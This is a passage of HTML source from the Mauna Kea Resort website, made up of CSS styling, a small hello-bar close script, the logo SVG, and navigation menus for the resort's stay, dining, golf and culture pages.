3423.nav-westin-hapuna-beach-resort .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-westin-hapuna-beach-resort span{display:inline-block;position:relative}.nav-westin-hapuna-beach-resort span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-westin-hapuna-beach-resort span:after{content:none}}.nav-on-site-medical-care .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-on-site-medical-care span{display:inline-block;position:relative}.nav-on-site-medical-care span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-on-site-medical-care span:after{content:none}}.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e!important}@media(hover:hover){.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e}.nav-westin-hapuna-beach-resort .level3 a:hover::before{background-color:#529d6e}}.primary-nav>li.nav-mauna-kea-beach-hotel{display:none!important}</style> 3424 3425 3426<style> 3427 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 3428 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 3429</style> 3430 3431 3432<a href="#main-content" class="ada-hidden skip-nav-link">Skip to main content</a> 3433 3434 3435 3436 3437<header class="site-header" role="banner"> 3438 3439 <style>.hello-bar{background-color:#ff671f;color:#fff;text-align:center;padding:.25em 2em .25em 2em}.hello-bar:focus-visible{outline:none}.hello-bar>.inner{text-align:center;padding:.25em 0}.hello-bar h3{font-size:.9rem;margin:0;line-height:1.25em}@media screen and (max-width:991.98px){.hello-bar h3{margin:0 0 .5em;width:100%}}.hello-bar p{line-height:1.4em}.hello-bar p:last-of-type{margin-bottom:0}.hello-bar a{color:currentColor}.hello-bar a:hover{color:#000}.is-westin .hello-bar{background-color:#529d6e}@media screen and (max-width:767px){.hello-bar br.desk-only{display:none}}.hb-close{position:absolute;top:0;right:.25em}.hb-close i{font-size:1.35rem}.popup-countdown-container{display:flex;align-items:center;justify-content:center}@media screen and (max-width:991.98px){.popup-countdown-container{flex-wrap:wrap}}.popup-countdown-container .countdown #clockdiv{display:flex;gap:1.5rem;margin:0 1.5rem}.popup-countdown-container .countdown .time-item{box-sizing:border-box;text-align:center;position:relative;z-index:2;font-size:10px;display:block;text-align:center;text-transform:uppercase;letter-spacing:2px;line-height:1.6em}.popup-countdown-container .countdown .time-item:last-child{border-right:none;background-repeat:no-repeat}.popup-countdown-container .countdown .time-item>span{font-size:1rem;font-weight:700;letter-spacing:.075em}.popup-countdown-container .cyber-link{display:inline-block;font-size:.75rem;background-color:#000;color:#fff;margin:.5rem 0;padding:.65em 1em;border-radius:2em;white-space:nowrap;text-transform:uppercase}.popup-countdown-container .cyber-link:hover{background-color:#fff;color:#000}</style> 3440 3441 3442 3443 3444 3445
3446<script> 3447 _hdmq.add(function () { 3448 3449 // close hello bar 3450 $('.js-hb-close').on('click', function() { 3451 $('.hello-bar').slideUp(); 3452 }); 3453 3454 }); 3455</script>
3455 3456 3457 3458 3459 3460 3461 <div class="cf inner site-header-inner"> 3462 3463 3464 3465 <div class="site-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
34657a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div> 3466 3467 3468 <nav class="mobile-utility"> 3469 </nav> 3470 3471 <div class="nav-panel"> 3472 <nav class="utility"> 3473 <ul class="unstyled-list utility-nav"> 3474 <li class="un-ww"> 3475 <div class="weather-widget"> 3476 3477 <img class="weather-icon" src="/images/layout/icons/weather/nfew.svg" alt="today's weather" /> 3478 <span class="high">82°F</span> 3479 <span class="pipe">|</span> 3480 <span class="low">27°C</span> 3481 </div> 3482 </li> 3483 3484 <li><a href="/mauna-kea-beach-hotel/take-a-tour">Take a Tour</a></li> 3485 <li><a href="/special-offers">Specials</a></li> 3486 <li><a href="/the-club">The Club</a></li> 3487 <li><a href="tel:1-877-880-6524">877.880.6524</a></li> 3488 </ul> 3489 </nav> 3490 <nav class="site-nav" role="navigation"> 3491 <ul id="menubar1" hdmtype="navpackages" class="unstyled-list primary-nav level1"> 3492<li data-pid="655" class="nav-home"><a href="https://www.maunakearesort.com/home" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Home</span></a> 3493</li><li data-pid="3" class="nav-stay"><a href="https://www.maunakearesort.com/stay/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Stay</span></a> 3494<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3495<li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/" class="sn-link" ><span>Mauna Kea Beach Hotel</span></a> 3496<ul class="unstyled-list level3"> 3497<li><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/renovation" >Renovation</a> 3498</li></ul> 3499</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/stay/westin-hapuna-beach-resort" class="sn-link" ><span>The Westin Hapuna Beach Resort</span></a> 3500</li><li class="nav-mauna-kea-residences"><a href="https://www.maunakearesort.com/stay/mauna-kea-residences" class="sn-link" ><span>Mauna Kea Residences</span></a> 3501</li><li class="nav-specials-and-packages"><a href="https://www.maunakearesort.com/stay/specials-and-packages" class="sn-link" ><span>Specials & Packages</span></a> 3502</li><li class="nav-photo-video-gallery"><a href="https://www.maunakearesort.com/stay/photo-video-gallery" class="sn-link" ><span>Take a Tour</span></a> 3503</li><li class="nav-on-site-medical-care"><a href="https://www.maunakearesort.com/stay/on-site-medical-care" class="sn-link" ><span>On-Site Medical Care</span></a> 3504</li><li class="nav-accessible-rooms"><a href="https://www.maunakearesort.com/stay/accessible-rooms" class="sn-link" ><span>Accessible Rooms</span></a> 3505</li><li class="nav-laundry-valet"><a href="https://www.maunakearesort.com/stay/laundry-valet" class="sn-link" ><span>Laundry Valet</span></a> 3506</li></ul> 3507</div></div><div class="col col-2"></div></div></div></li><li data-pid="4" class="nav-play"><a href="https://www.maunakearesort.com/play/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Play</span></a> 3508<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3509<li class="nav-resort-happenings"><a href="https://www.maunakearesort.com/play/resort-happenings/" class="sn-link" ><span>Resort Happenings</span></a> 3510<ul class="unstyled-list level3"> 3511<li><a href="https://www.maunakearesort.com/play/resort-happenings/event-calendar" >Event Calendar</a> 3512</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/luau" >Mauna Kea Luau</a> 3513</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/webcam" >Live Webcam View</a> 3514</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/interactive-map" >Interactive Map</a> 3515</li></ul> 3516</li><li class="nav-activities"><a href="https://www.maunakearesort.com/play/activities/" class="sn-link" ><span>Activities</span></a> 3517<ul class="unstyled-list level3"> 3518<li><a href="https://www.maunakearesort.com/play/activities/resort-retail" >Resort Retail</a> 3519</li><li><a href="https://www.maunakearesort.com/play/activities/beach-and-pool" >Beach & Pool </a> 3520</li><li><a href="https://www.maunakearesort.com/play/activities/tennis" >Tennis & Pickleball</a> 3521</li><li><a href="https://www.maunakearesort.com/play/activities/bocce-ball" >Bocce Ball</a> 3522</li><li><a href="https://www.maunakearesort.com/play/activities/kids-programs" >Kids Programs</a> 3523</li><li><a href="https://www.maunakearesort.com/play/activities/online-shopping" target='_blank'>Online Shopping</a> 3524</li></ul> 3525</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/play/wellness/" class="sn-link" ><span>Wellbeing</span></a> 3526<ul class="unstyled-list level3"> 3527<li><a href="https://www.maunakearesort.com/play/wellness/spa-salon" >Spa & Salon</a> 3528</li><li><a href="https://www.maunakearesort.com/play/wellness/fitness" >Fitness</a> 3529</li></ul> 3530</li><li class="nav-cultural-activities"><a href="https://www.maunakearesort.com/play/cultural-activities" class="sn-link" ><span>Cultural Activities</span></a> 3531</li><li class="nav-live-webcams"><a href="https://www.maunakearesort.com/play/live-webcams" class="sn-link" target='_blank'><span>Live Webcams</span></a> 3532</li><li class="nav-island-activities"><a href="https://www.maunakearesort.com/play/island-activities" class="sn-link" ><span>Island Activities</span></a> 3533</li><li class="nav-tesla-experience"><a href="https://www.maunakearesort.com/play/tesla-experience" class="sn-link" ><span>Tesla Experience</span></a> 3534</li><li class="nav-gopro-experience"><a href="https://www.maunakearesort.com/play/gopro-experience" class="sn-link" ><span>GoPro Experience</span></a> 3535</li><li class="nav-beach-and-pool"><a href="https://www.maunakearesort.com/play/beach-and-pool" class="sn-link" ><span>Beach & Pool</span></a> 3536</li></ul> 3537</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/play.jpg?042088944173523446" alt="Adventure Awaits" class="object-fit"></div><figcaption>Adventure Awaits</figcaption></figure><p><span data-teams="true"><span class="ui-provider a b c d e f g h i j k l m n o p q r s t u v w x y z ab ac ae af ag ah ai aj ak" dir="ltr">Discover events and activities to make the most of your stay on our island home.</span></span></p><p><a gaq='Nav,Promo-AdventureAwaits' href="https://maunakearesort.com/play/" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="5" class="nav-dine"><a href="https://www.maunakearesort.com/dine/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Dine</span></a> 3538<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3539<li class="nav-overview"><a href="https://www.maunakearesort.com/dine/overview" class="sn-link" ><span>Overview</span></a> 3540</li><li class="nav-signature"><a href="https://www.maunakearesort.com/dine/signature/" class="sn-link" ><span>Signature</span></a> 3541<ul class="unstyled-list level3"> 3542<li><a href="https://www.maunakearesort.com/dine/signature/manta" >Manta</a> 3543</li><li><a href="https://www.maunakearesort.com/dine/signature/meridia" >Meridia</a> 3544</li><li><a href="https://www.maunakearesort.com/dine/signature/mauna-kea-luau" >The Mauna Kea Luau</a> 3545</li></ul> 3546</li><li class="nav-quick"><a href="https://www.maunakearesort.com/dine/quick/" class="sn-link" ><span>Quick</span></a> 3547<ul class="unstyled-list level3"> 3548<li><a href="https://www.maunakearesort.com/dine/quick/mauna-kea-market" >Mauna Kea Market</a> 3549</li><li><a href="https://www.maunakearesort.com/dine/quick/plumeria-market" >Plumeria Market</a> 3550</li><li><a href="https://www.maunakearesort.com/dine/quick/piko" >Piko Coffee + Bar</a> 3551</li></ul> 3552</li><li class="nav-casual"><a href="https://www.maunakearesort.com/dine/casual/" class="sn-link" ><span>Casual</span></a> 3553<ul class="unstyled-list level3"> 3554<li><a href="https://www.maunakearesort.com/dine/casual/copper-bar" >Copper Bar</a> 3555</li><li><a href="https://www.maunakearesort.com/dine/casual/hau-tree" >Hau Tree</a> 3556</li><li><a href="https://www.maunakearesort.com/dine/casual/ikena-landing" >
3556Ikena Landing</a> 3557</li><li><a href="https://www.maunakearesort.com/dine/casual/naupaka-beach-grill" >Naupaka Beach Grill</a> 3558</li><li><a href="https://www.maunakearesort.com/dine/casual/islander-sake-brewery" >Islander Sake Brewery</a> 3559</li><li><a href="https://www.maunakearesort.com/dine/casual/manta-breakfast" >Manta Breakfast </a> 3560</li></ul> 3561</li><li class="nav-in-room-dining"><a href="https://www.maunakearesort.com/dine/in-room-dining/" class="sn-link" ><span>In-Room Dining</span></a> 3562<ul class="unstyled-list level3"> 3563<li><a href="https://www.maunakearesort.com/dine/in-room-dining/mauna-kea-beach-hotel" >Mauna Kea Beach Hotel</a> 3564</li><li><a href="https://www.maunakearesort.com/dine/in-room-dining/the-westin-hapuna-beach-resort" >The Westin Hapuna Beach Resort</a> 3565</li></ul> 3566</li><li class="nav-private-dining"><a href="https://www.maunakearesort.com/dine/private-dining" class="sn-link" ><span>Private Dining</span></a> 3567</li></ul> 3568</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/luau-415x210.jpg?08021080155647267" alt="Experience A Kohala Coast Tradition" class="object-fit"></div><figcaption>Experience A Kohala Coast Tradition</figcaption></figure><p>The Mauna Kea Hawaiian LÅ«‘au completes the experience with a taste of culture shared by means of music, food, and family tradition on the Island of Hawai‘i. </p><p><a gaq='Nav,Promo-ExperienceAKohalaCoastTradition' href="/dine/signature/mauna-kea-luau" class="lm">Book Now</a></p></div></div></div></div></li><li data-pid="6" class="nav-gather"><a href="https://www.maunakearesort.com/gather/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Gather</span></a> 3569<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3570<li class="nav-overview"><a href="https://www.maunakearesort.com/gather/overview" class="sn-link" ><span>Overview</span></a> 3571</li><li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/" class="sn-link" ><span>Mauna Kea Beach Hotel</span></a> 3572<ul class="unstyled-list level3"> 3573<li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/meetings" >Meetings</a> 3574</li><li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/weddings" >Weddings</a> 3575</li></ul> 3576</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/" class="sn-link" ><span>The Westin Hapuna Beach Resort</span></a> 3577<ul class="unstyled-list level3"> 3578<li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/meetings" >Meetings</a> 3579</li><li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/weddings" >Weddings</a> 3580</li></ul> 3581</li><li class="nav-special-events"><a href="https://www.maunakearesort.com/gather/special-events" class="sn-link" ><span>Special Events</span></a> 3582</li></ul> 3583</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/gather.jpg?07516313770842098" alt="Gather" class="object-fit"></div><figcaption>Gather</figcaption></figure><p>Every event is touched by aloha and tailored by our dedicated team to meet each client’s specific needs.</p><p><a gaq='Nav,Promo-Gather' href="" class="lm"></a></p></div></div></div></div></li><li data-pid="7" class="nav-golf"><a href="https://www.maunakearesort.com/golf/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Golf</span></a> 3584<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3585<li class="nav-course-overview"><a href="https://www.maunakearesort.com/golf/course-overview/" class="sn-link" ><span>Course Overview</span></a> 3586<ul class="unstyled-list level3"> 3587<li><a href="https://www.maunakearesort.com/golf/course-overview/mauna-kea-golf-course" >Mauna Kea Golf Course</a> 3588</li><li><a href="https://www.maunakearesort.com/golf/course-overview/hapuna-golf-course" >Hapuna Golf Course</a> 3589</li></ul> 3590</li><li class="nav-tee-times"><a href="https://www.maunakearesort.com/golf/tee-times" class="sn-link" ><span>Tee Times</span></a> 3591</li><li class="nav-photo-gallery"><a href="https://www.maunakearesort.com/golf/photo-gallery" class="sn-link" ><span>Photo Gallery</span></a> 3592</li><li class="nav-caddy-corner-tips"><a href="https://www.maunakearesort.com/golf/caddy-corner-tips" class="sn-link" ><span>Caddy Corner / Tips</span></a> 3593</li><li class="nav-golf-packages"><a href="https://www.maunakearesort.com/golf/golf-packages" class="sn-link" ><span>Golf Packages</span></a> 3594</li></ul> 3595</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/golf.jpg?012880319254268224" alt="Mauna Kea Golf Package" class="object-fit"></div><figcaption>Mauna Kea Golf Package</figcaption></figure><p>10% off Best Available Rates, Daily Buffet Breakfast for Two, 50% off Green Fees at Mauna Kea Golf Course </p><p><a gaq='Nav,Promo-MaunaKeaGolfPackage' href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAAK&cc=YQ5&scid=undefined" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="8" class="nav-culture"><a href="https://www.maunakearesort.com/culture/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Culture </span></a> 3596<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3597<li class="nav-overview"><a href="https://www.maunakearesort.com/culture/overview" class="sn-link" ><span>Overview</span></a> 3598</li><li class="nav-currents"><a href="https://www.maunakearesort.com/culture/currents" class="sn-link" ><span>Currents</span></a> 3599</li><li class="nav-history"><a href="https://www.maunakearesort.com/culture/history" class="sn-link" ><span>History</span></a> 3600</li><li class="nav-art-collection"><a href="https://www.maunakearesort.com/culture/art-collection" class="sn-link" ><span>Art Collection</span></a> 3601</li><li class="nav-discovery-center"><a href="https://www.maunakearesort.com/culture/discovery-center" class="sn-link" ><span>Discovery Center</span></a> 3602</li><li class="nav-island-culture"><a href="https://www.maunakearesort.com/culture/island-culture" class="sn-link" ><span>Island Culture</span></a> 3603</li><li class="nav-sustainability"><a href="https://www.maunakearesort.com/culture/sustainability" class="sn-link" ><span>Sustainability</span></a> 3604</li><li class="nav-on-property-cultural-activities"><a href="https://www.maunakearesort.com/culture/on-property-cultural-activities" class="sn-link" ><span>On-Property Cultural Activities</span></a> 3605</li></ul> 3606</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/ArtApp_mobilehand.JPG?07695134876102387" alt="Immersive Art App" class="object-fit"></div><figcaption>Immersive Art App</figcaption></figure><p>From Hawaiian Quilts to traditional Kapa, learn what inspired this collection of unique pieces of art and rare artifacts using our new web-based art app!</p><p><a gaq='Nav,Promo-ImmersiveArtApp' href="https://www.maunakearesort.com/art-app" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="572" class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Mauna Kea Beach Hotel</span></a> 3607<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3608<li class="nav-our-story"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/" class="sn-link" ><span>Our Story</span></a> 3609<ul class="unstyled-list level3"> 3610<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aloha/" >Aloha</a> 3611</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aina/" >Aina</a> 3612</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/art-and-culture/" >Art & Culture</a> 3613</li></ul> 3614</li><li class="nav-stay"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/" class="sn-link" ><span>Stay</span></a> 3615<ul class="unstyled-list level3"> 3616<li><a 